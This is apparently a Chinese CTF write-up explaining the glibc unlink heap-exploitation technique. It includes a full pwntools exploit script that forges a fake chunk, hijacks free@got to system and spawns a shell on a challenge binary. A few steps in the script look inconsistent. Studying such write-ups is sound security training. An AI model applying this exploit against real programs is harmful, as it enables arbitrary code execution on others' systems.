pwn堆利用之unlink
字数 1288 2025-08-22 12:23:00
Pwn堆利用之unlink技术详解
1. 什么是unlink
unlink是glibc堆管理中的一个重要操作,用于将空闲的chunk从双向链表中移除。攻击者可以通过伪造chunk的元数据,利用unlink操作实现任意地址写,从而控制程序执行流程。
2. unlink源码分析
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect(FD->bk != P || BK->fd != P, 0))
malloc_printerr(check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range(P->size) && __builtin_expect(P->fd_nextsize != NULL, 0)) {
if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) ||
__builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr(check_action, "corrupted double-linked list (not small)", P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
关键操作解析:
-
参数说明:
AV:分配区指针P:当前要unlink的chunkBK:后一个chunkFD:前一个chunk
-
安全检查:
if (__builtin_expect(FD->bk != P || BK->fd != P, 0)) malloc_printerr(check_action, "corrupted double-linked list", P, AV);检查前一个chunk的
bk和后一个chunk的fd是否都指向当前chunk,防止链表被破坏。 -
unlink操作:
FD->bk = BK; BK->fd = FD;将前一个chunk的
bk指向后一个chunk,后一个chunk的fd指向前一个chunk,完成链表节点的移除。
3. unlink攻击原理
通过伪造一个fake chunk,使得:
P->fd->bk == PP->bk->fd == P
当这两个条件满足时,unlink操作会执行:
*(P->fd + 0x18) = P->bk
*(P->bk + 0x10) = P->fd
如果我们设置:
P->fd = target - 0x18P->bk = target - 0x10
那么unlink操作将变为:
*(target - 0x18 + 0x18) = target - 0x10 => *target = target - 0x10
*(target - 0x10 + 0x10) = target - 0x18 => *target = target - 0x18
最终结果是*target = target - 0x18,实现了向target地址写入值target - 0x18。
4. 实际利用步骤
题目分析
题目是一个堆菜单题,具有以下功能:
create_heap: 创建指定大小的堆块edit_heap: 编辑堆块内容,存在堆溢出漏洞delete_heap: 释放堆块,指针置零,无UAFl33t: 后门函数,调用system("cat /home/pwn/flag")
利用过程
-
准备阶段:
- 分配多个chunk,为伪造fake chunk做准备
-
伪造fake chunk:
- 在某个chunk中构造fake chunk的元数据:
fd = target - 0x18 bk = target - 0x10 payload = p64(0) + p64(0x21) + p64(fd) + p64(bk) + p64(0x20) + p64(next_chunk_size | PREV_INUSE) - 通过edit功能写入伪造的元数据
- 在某个chunk中构造fake chunk的元数据:
-
触发unlink:
- 释放与fake chunk物理相邻的chunk,触发unlink操作
- 此时
heaparray中的指针会被修改为target - 0x18
-
实现任意地址写:
- 通过修改后的
heaparray指针,可以覆盖free@got为system@plt - 释放一个包含
/bin/sh的chunk即可获得shell
- 通过修改后的
完整EXP
from pwn import *
context(log_level='debug', os='linux', arch='amd64')
elf = ELF('./pwn')
def exploit():
p = process('./pwn')
def add(size, content):
p.sendlineafter("Your choice :", "1")
p.sendlineafter("Size of Heap : ", str(size))
p.sendafter("Content of heap:", content)
def edit(idx, size, content):
p.sendlineafter("Your choice :", "2")
p.sendlineafter("Index :", str(idx))
p.sendlineafter("Size of Heap : ", str(size))
p.sendafter("Content of heap : ", content)
def delete(idx):
p.sendlineafter("Your choice :", "3")
p.sendlineafter("Index :", str(idx))
# 准备target地址
target = 0x6020e0 # heaparray地址
fd = target - 0x18
bk = target - 0x10
# 分配chunk
add(0x20, b'aaaa') # 0
add(0x80, b'bbbb') # 1
add(0x100, b'cccc') # 2
add(0x10, b'/bin/sh\x00') # 3
# 伪造fake chunk
payload = p64(0) + p64(0x21) + p64(fd) + p64(bk) + p64(0x20) + p64(0x90)
edit(0, len(payload), payload)
# 触发unlink
delete(1)
# 重新分配chunk1,此时heaparray[0]指向target-0x18
add(0x20, b'a') # 1
# 构造payload覆盖free@got
payload = b'a'*0x18 + p64(elf.got['free'])
edit(0, len(payload), payload)
# 将free@got改为system@plt
edit(1, 8, p64(elf.plt['system']))
# 触发free("/bin/sh")实际上是system("/bin/sh")
delete(3)
p.interactive()
exploit()
5. 调试技巧
-
查看堆布局:
pwndbg> vis -
查看关键内存:
pwndbg> x/40gx 0x6020a0 -
跟踪unlink过程:
- 在free操作前设置断点
- 单步跟踪unlink宏的执行
6. 防御措施
-
glibc的安全检查:
- 双向链表完整性检查
- size字段合法性检查
-
现代防护:
- Safe-Linking (glibc 2.32+)
- 更严格的chunk验证
7. 总结
unlink攻击的核心在于:
- 伪造一个看似合法的fake chunk
- 绕过glibc的双向链表检查
- 利用unlink操作实现任意地址写
- 通过覆盖关键函数指针控制程序流
这种攻击方式在早期glibc版本中较为有效,但随着防护措施的加强,现代系统中需要结合其他漏洞才能实现类似效果。